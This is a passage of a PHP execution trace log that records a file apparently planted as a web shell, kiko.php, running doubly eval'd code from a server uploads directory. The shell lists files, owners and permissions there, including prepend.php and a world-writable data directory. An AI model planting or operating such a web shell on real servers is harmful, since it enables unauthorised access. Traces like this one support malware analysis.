5	157	1	0.027485	1246480
5	157	R			1000
5	158	0	0.027498	1246440	posix_getpwuid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	1000
5	158	1	0.027530	1247256
5	158	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
5	159	0	0.027575	1246488	filegroup	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	'kiko.php'
5	159	1	0.027589	1246528
5	159	R			1000
5	160	0	0.027603	1246488	posix_getgrgid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	1000
5	160	1	0.027635	1247144
5	160	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
5	161	0	0.027672	1247008	filemtime	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/kiko.php'
5	161	1	0.027689	1247064
5	161	R			1676262176
5	162	0	0.027702	1246968	date	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676262176
5	162	1	0.027735	1247296
5	162	R			'2023-02-12 23:22:56'
5	163	0	0.027758	1247280	viewPermsColor	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/kiko.php'
6	164	0	0.027773	1247280	is_readable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/kiko.php'
6	164	1	0.027790	1247320
6	164	R			TRUE
6	165	0	0.027803	1247280	is_writable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/kiko.php'
6	165	1	0.027820	1247320
6	165	R			FALSE
6	166	0	0.027833	1247280	fileperms	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	340	1	'/var/www/html/uploads/kiko.php'
6	166	1	0.027848	1247320
6	166	R			33204
6	167	0	0.027861	1247280	perms	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	340	1	33204
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	319	$i = '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	327	$i .= '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	330	$i .= '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	332	$i .= '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	333	$i .= '-'
6	167	1	0.027980	1247320
6	167	R			'-rw-rw-r--'
5	163	1	0.027994	1247360
5	163	R			'<font color=white><b>-rw-rw-r--</b></font>'
5	168	0	0.028011	1247360	filesize	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/kiko.php'
5	168	1	0.028026	1247400
5	168	R			71407
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => 'kiko.php', 'path' => '/var/www/html/uploads/kiko.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes']
5	169	0	0.028062	1246984	is_file	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/kiko.php'
5	169	1	0.028077	1247024
5	169	R			TRUE
5	170	0	0.028090	1246928	array_merge	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1050	2	['name' => 'kiko.php', 'path' => '/var/www/html/uploads/kiko.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes']	['type' => 'file']
5	170	1	0.028115	1247368
5	170	R			['name' => 'kiko.php', 'path' => '/var/www/html/uploads/kiko.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1050	$files[] = ['name' => 'kiko.php', 'path' => '/var/www/html/uploads/kiko.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
5	171	0	0.028176	1247304	fileowner	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	'prepend.php'
5	171	1	0.028193	1247328
5	171	R			0
5	172	0	0.028206	1247288	posix_getpwuid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	0
5	172	1	0.028232	1248088
5	172	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	173	0	0.028274	1247304	filegroup	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	'prepend.php'
5	173	1	0.028289	1247344
5	173	R			0
5	174	0	0.028301	1247304	posix_getgrgid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	0
5	174	1	0.028325	1247960
5	174	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	175	0	0.028362	1247840	filemtime	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/prepend.php'
5	175	1	0.028380	1247904
5	175	R			1676262176
5	176	0	0.028398	1247800	date	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676262176
5	176	1	0.028431	1248128
5	176	R			'2023-02-12 23:22:56'
5	177	0	0.028446	1248120	viewPermsColor	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/prepend.php'
6	178	0	0.028461	1248120	is_readable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/prepend.php'
6	178	1	0.028478	1248160
6	178	R			TRUE
6	179	0	0.028492	1248120	is_writable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/prepend.php'
6	179	1	0.028509	1248160
6	179	R			FALSE
6	180	0	0.028523	1248120	fileperms	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	340	1	'/var/www/html/uploads/prepend.php'
6	180	1	0.028538	1248160
6	180	R			33261
6	181	0	0.028551	1248120	perms	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	340	1	33261
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	319	$i = '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	327	$i .= 'x'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	329	$i .= '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	332	$i .= '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	333	$i .= 'x'
6	181	1	0.028672	1248160
6	181	R			'-rwxr-xr-x'
5	177	1	0.028686	1248200
5	177	R			'<font color=white><b>-rwxr-xr-x</b></font>'
5	182	0	0.028703	1248200	filesize	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/prepend.php'
5	182	1	0.028718	1248240
5	182	R			57
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
5	183	0	0.028754	1247824	is_file	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/prepend.php'
5	183	1	0.028769	1247864
5	183	R			TRUE
5	184	0	0.028782	1247760	array_merge	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1050	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
5	184	1	0.028807	1248200
5	184	R			['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1050	$files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1056	GLOBALS['sort'] = [0 => 'name', 1 => 1]
5	185	0	0.028886	1248160	usort	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1063	2	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'kiko.php', 'path' => '/var/www/html/uploads/kiko.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]	'cmp'
6	186	0	0.028925	1248608	cmp	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1063	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'kiko.php', 'path' => '/var/www/html/uploads/kiko.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
7	187	0	0.028956	1248608	strtolower	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1059	1	'.htaccess'
7	187	1	0.028972	1248640
7	187	R			'.htaccess'
7	188	0	0.028986	1248608	strtolower	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1059	1	'kiko.php'
7	188	1	0.029000	1248640
7	188	R			'kiko.php'
7	189	0	0.029018	1248608	strcmp	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1059	2	'.htaccess'	'kiko.php'
7	189	1	0.029034	1248672
7	189	R			-1
6	186	1	0.029048	1248608
6	186	R			-1
6	190	0	0.029061	1248608	cmp	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1063	2	['name' => 'kiko.php', 'path' => '/var/www/html/uploads/kiko.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
7	191	0	0.029091	1248608	strtolower	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1059	1	'kiko.php'
7	191	1	0.029105	1248640
7	191	R			'kiko.php'
7	192	0	0.029120	1248608	strtolower	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1059	1	'prepend.php'
7	192	1	0.029134	1248640
7	192	R			'prepend.php'
7	193	0	0.029148	1248608	strcmp	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1059	2	'kiko.php'	'prepend.php'
7	193	1	0.029163	1248672
7	193	R			-1
6	190	1	0.029177	1248608
6	190	R			-1
5	185	1	0.029191	1248232
5	185	R			TRUE
5	194	0	0.029204	1248184	usort	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1064	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	'cmp'
6	195	0	0.029234	1248632	cmp	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1064	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
7	196	0	0.029261	1248632	strtolower	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1059	1	'..'
7	196	1	0.029275	1248664
7	196	R			'..'
7	197	0	0.029288	1248632	strtolower	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1059	1	'data'
7	197	1	0.029302	1248664
7	197	R			'data'
7	198	0	0.029315	1248632	strcmp	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1059	2	'..'	'data'
7	198	1	0.029328	1248696
7	198	R			-3552051
6	195	1	0.029343	1248632
6	195	R			-3552051
5	194	1	0.029357	1248256
5	194	R			TRUE
5	199	0	0.029370	1248184	array_merge	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1065	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'kiko.php', 'path' => '/var/www/html/uploads/kiko.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
5	199	1	0.029418	1248624
5	199	R			[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'kiko.php', 'path' => '/var/www/html/uploads/kiko.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1065	$files = [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'kiko.php', 'path' => '/var/www/html/uploads/kiko.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1066	$l = 0
5	200	0	0.029522	1248264	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'..'
5	200	1	0.029537	1248328
5	200	R			'..'
5	201	0	0.029552	1248392	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'..'
5	201	1	0.029568	1248584
5	201	R			'..'
5	202	0	0.029582	1248504	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'..'
5	202	1	0.029596	1248568
5	202	R			'..'
5	203	0	0.029610	1248632	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'..'
5	203	1	0.029624	1248696
5	203	R			'..'
5	204	0	0.029637	1248824	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'..'
5	204	1	0.029650	1248888
5	204	R			'..'
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1070	$l = 1
5	205	0	0.029677	1248280	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'data'
5	205	1	0.029695	1248344
5	205	R			'data'
5	206	0	0.029710	1248392	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'data'
5	206	1	0.029724	1248584
5	206	R			'data'
5	207	0	0.029739	1248504	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'data'
5	207	1	0.029752	1248568
5	207	R			'data'
5	208	0	0.029766	1248632	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'data'
5	208	1	0.029779	1248696
5	208	R			'data'
5	209	0	0.029792	1248824	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'data'
5	209	1	0.029805	1248888
5	209	R			'data'
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1070	$l = 0
5	210	0	0.029831	1248264	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'.htaccess'
5	210	1	0.029844	1248336
5	210	R			'.htaccess'
5	211	0	0.029858	1248312	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'.htaccess'
5	211	1	0.029872	1248384
5	211	R			'.htaccess'
5	212	0	0.029886	1248392	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'.htaccess'
5	212	1	0.029900	1248584
5	212	R			'.htaccess'
5	213	0	0.029914	1248376	viewSize	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	64
5	213	1	0.029929	1248408
5	213	R			'64 B'
5	214	0	0.029943	1248504	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'.htaccess'
5	214	1	0.029957	1248576
5	214	R			'.htaccess'
5	215	0	0.029971	1248632	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'.htaccess'
5	215	1	0.029985	1248704
5	215	R			'.htaccess'
5	216	0	0.029999	1248824	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'.htaccess'
5	216	1	0.030012	1248896
5	216	R			'.htaccess'
5	217	0	0.030025	1248824	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'.htaccess'
5	217	1	0.030038	1248896
5	217	R			'.htaccess'
5	218	0	0.030052	1249048	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'.htaccess'
5	218	1	0.030064	1249120
5	218	R			'.htaccess'
5	219	0	0.030077	1249144	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'.htaccess'
5	219	1	0.030090	1249216
5	219	R			'.htaccess'
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1070	$l = 1
5	220	0	0.030115	1248280	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'kiko.php'
5	220	1	0.030129	1248352
5	220	R			'kiko.php'
5	221	0	0.030143	1248344	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'kiko.php'
5	221	1	0.030157	1248416
5	221	R			'kiko.php'
5	222	0	0.030170	1248424	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'kiko.php'
5	222	1	0.030184	1248616
5	222	R			'kiko.php'
5	223	0	0.030198	1248408	viewSize	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	71407
6	224	0	0.030213	1248408	sprintf	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	312	2	'%1.2f'	69.7333984375
6	224	1	0.030230	1248792
6	224	R			'69.73'
5	223	1	0.030244	1248448
5	223	R			'69.73 KB'
5	225	0	0.030258	1248504	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'kiko.php'
5	225	1	0.030272	1248576
5	225	R			'kiko.php'
5	226	0	0.030285	1248696	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'kiko.php'
5	226	1	0.030299	1248768
5	226	R			'kiko.php'
5	227	0	0.030312	1248824	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'kiko.php'
5	227	1	0.030326	1248896
5	227	R			'kiko.php'
5	228	0	0.030339	1248824	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'kiko.php'
5	228	1	0.030353	1248896
5	228	R			'kiko.php'
5	229	0	0.030366	1249048	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'kiko.php'
5	229	1	0.030382	1249120
5	229	R			'kiko.php'
5	230	0	0.030396	1249144	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'kiko.php'
5	230	1	0.030409	1249216
5	230	R			'kiko.php'
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1070	$l = 0
5	231	0	0.030435	1248264	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prepend.php'
5	231	1	0.030469	1248336
5	231	R			'prepend.php'
5	232	0	0.030483	1248312	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prepend.php'
5	232	1	0.030497	1248384
5	232	R			'prepend.php'
5	233	0	0.030511	1248392	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prepend.php'
5	233	1	0.030525	1248584
5	233	R			'prepend.php'
5	234	0	0.030550	1248408	viewSize	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	57
5	234	1	0.030564	1248440
5	234	R			'57 B'
5	235	0	0.030579	1248504	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prepend.php'
5	235	1	0.030593	1248576
5	235	R			'prepend.php'
5	236	0	0.030606	1248632	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prepend.php'
5	236	1	0.030620	1248704
5	236	R			'prepend.php'
5	237	0	0.030633	1248824	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prepend.php'
5	237	1	0.030647	1248896
5	237	R			'prepend.php'
5	238	0	0.030661	1248824	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prepend.php'
5	238	1	0.030674	1248896
5	238	R			'prepend.php'
5	239	0	0.030687	1249048	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prepend.php'
5	239	1	0.030700	1249120
5	239	R			'prepend.php'
5	240	0	0.030713	1249208	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prepend.php'
5	240	1	0.030726	1249280
5	240	R			'prepend.php'
